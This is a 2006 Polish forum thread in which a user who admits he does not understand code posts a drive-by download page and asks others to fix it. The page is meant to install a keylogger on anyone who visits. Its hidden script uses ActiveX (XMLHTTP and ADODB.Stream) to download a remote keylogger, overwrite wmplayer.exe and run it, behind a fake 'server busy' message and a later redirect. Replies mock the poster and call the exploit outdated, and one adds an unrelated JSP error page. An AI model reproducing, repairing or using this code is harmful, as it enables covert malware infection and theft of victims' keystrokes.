Zły skrypt

Czarna Mamba · Maj 5, 2006

witajcie. mam problem sciągłem poniższy skrypt z innego tematu, ale gdzies tam gdzie błąd ja sie na tym wogóle nieznam wole gotowca sciągnonc i działać :glupek2: jest to taka strona ze jak ktoś na nią wejdzie to server keyloggera sam sie zainstaluje na komputer ofiary.z góry dziękuje,jezeli ktos mi pomoże,klikne na przycisk "pomógł" czy jak to tam jest

POZDRO

skrypcik:

<HTML>
<textarea id="code" style="display:none;">

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "ADRES KEYLOGGERA",0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C

rogram FilesWindows Media Playerwmplayer.exe",2);
location.href = "mms://";

</textarea>
TUTAJ MOŻEMY COŚ DODAĆ [np. Server is extremely busy at this moment. Please wait when server generate mirror for you...]
<script language="javascript">

function preparecode(code) {
result = '';
lines = code.split(/rn/);
for (i=0;i<lines.length;i++) {

line = lines;
line = line.replace(/^s+/,"");
line = line.replace(/s+$/,"");
line = line.replace(/'/g,"'");
line = line.replace(/[]/g,"");
line = line.replace(/[/]/g,"%2f");

if (line != '') {
result += line + 'rn';
}
}
return result;
}

function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:java script:eval('" + mycode + "')";
window.open(myURL,"_media");
}

window.open("error.jsp","_media");

setTimeout("doit()", 5000);

</script>
<script>function go(){ self.location.href='ADRES STRONY KTORA WYSWIETLI SIE PO ZALADOWANIU KEYLEGGERA [np. wlasnie ten mirror]'; }
setTimeout('go()',10000); </script>
</HTML>

oczywiscie tam gdzie jest wpisane np.adres keyloggera mam tam wpisane swoje adresy.

globi_ · Maj 6, 2006

I oczywiście źeś wrzucił server na rapidshare.de ......... Mam rację ?

FDJ · Maj 6, 2006

mamba naucz sie html
globi daruj sobie takie posty

mks · Maj 6, 2006

Originally posted by FDJ
mamba naucz sie html

ja tam malo html'a widze...

Czarna Mamba · Maj 6, 2006

nom na rapida wrzóciłem?? a co żle?

FDJ · Maj 6, 2006

Originally posted by mks+--><div class='quotetop'>CYTAT(mks)</div>

<!--QuoteBegin-FDJ

Kliknij aby rozwinąć...

mamba naucz sie html

Kliknij aby rozwinąć...

ja tam malo html'a widze...[/b]

tylko ze zobacz w zrudlo
<html>
skrypt
</html>

a jest cos takiego jak body

jak head

i jak tresc strony

na serwer wrzuc

Czarna Mamba · Maj 6, 2006

:glupek2:

mks · Maj 6, 2006

Originally posted by FDJ+--><div class='quotetop'>CYTAT(FDJ)</div>

Originally posted by mks@
<!--QuoteBegin-FDJ

Kliknij aby rozwinąć...

Kliknij aby rozwinąć...

mamba naucz sie html

Kliknij aby rozwinąć...

ja tam malo html'a widze...

Kliknij aby rozwinąć...

tylko ze zobacz w zrudlo
<html>
skrypt
</html>

a jest cos takiego jak body

jak head

i jak tresc strony

na serwer wrzuc[/b]

prawda, prawda. macie racje towarzyszu.

Czarna Mamba · Maj 6, 2006

ale jakbyście zauwazyli to tam jest <html> i te inne pierdołki
pomoże mi ktoś??

djczarny · Maj 6, 2006

Nie , nikt ci nie pomorze a dlatego ,że tam nie ma error.jsp ty nie wklejaj głupich sploitów tylko podawaj strony do nich i się naucz podstaw języka a nie tutaj z pierdołami wyskakujesz exploit jest już stary i napewno nie działa i gotowca nikt ci nie da bo ktoś pracuje nad tym a ty wyskakujesz ,że chce gotowca gotowy to może być kurs html lub js

Rodo · Maj 6, 2006

kod

oto kod przykladowego error.jsp

Kod:

<%@ page isErrorPage="true" %>

<%@ page language="java" %>

<%@ page import="java.util.*" %>

<%

    Object statusCode = request.getAttribute("javax.servlet.error.status_code"); 

    Object exceptionType = request.getAttribute("javax.servlet.error.exception_type"); 

    Object message = request.getAttribute("javax.servlet.error.message"); 

%>



<html>

<head>

<title>Error Page</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>

<body bgcolor="#FFFFFF">



[url="<%=response.encodeURL(request.getContextPath()) %>"]Home[/url]</P>

<hr>

<H2>An Error has occured:</H2>



<TABLE CELLPADDING="2" CELLSPACING="2" BORDER="1" WIDTH="100%">

    <TR>

    <TD WIDTH="20%">[b]Status Code[/b]</TD> 

    <TD WIDTH="80%"><%= statusCode %></TD>

    </TR>

    <TR>

    <TD WIDTH="20%">[b]Exception Type[/b]</TD> 

    <TD WIDTH="80%"><%= exceptionType %></TD>

    </TR>

    <TR>

    <TD WIDTH="20%">[b]Message[/b]</TD> 

    <TD WIDTH="80%"><%= message %></TD>

    </TR>

    <TR>

    <TD WIDTH="20%">[b]Exception[/b]</TD> 

    <TD WIDTH="80%">

        <%

        if( exception != null )

        {

            out.print("<PRE>");

            exception.printStackTrace(new PrintWriter(out));

            out.print("</PRE>");

        }    

        %>

    </TD>

    </TR>

    <TR>

    <TD WIDTH="20%">[b]Root Cause[/b]</TD> 

    <TD>

        <%

        if( (exception != null) && (exception instanceof ServletException) )

        {

            Throwable cause = ((ServletException)exception).getRootCause();

            if( cause != null )

            {

            out.print("<PRE>");

            cause.printStackTrace(new PrintWriter(out));

            out.print("</PRE>");

            }

        }            

        %>

    </TD>

    </TR>

</TABLE>



<hr>

Header List

<table border=3>

<tr>

 <td>Name</td>

 <td>Value</td>

</tr>

<%

String name  = "";

String value = "";



java.util.Enumeration headers = request.getHeaderNames();

while(headers.hasMoreElements())

{

 name  = (String) headers.nextElement();

 value = request.getHeader(name);

%>

<tr>

 <td><%=name%></td>

 <td><%=value%></td>

</tr>

<%

}

%>

</table>



Attribute List



<table border=3>

<%

java.util.Enumeration attributes = request.getAttributeNames();

while(attributes.hasMoreElements())

{

 name  = (String) attributes.nextElement();



 if (request.getAttribute(name) == null)

 {

  value = "null";

 }

 else

 {

  value = request.getAttribute(name).toString();

 }

%>

<tr>

 <td><%=name%></td>

 <td><%=value%></td>

</tr>

<%

}

%>

</table>



</body>

</html>

pomoglem? wcisnij pomogl

Zły skrypt

Czarna Mamba

Użytkownik

globi_

Użytkownik

FDJ

Były Moderator

mks

Użytkownik

Czarna Mamba

Użytkownik

FDJ

Były Moderator

Czarna Mamba

Użytkownik

mks

Użytkownik

Czarna Mamba

Użytkownik

djczarny

Użytkownik

Rodo

Użytkownik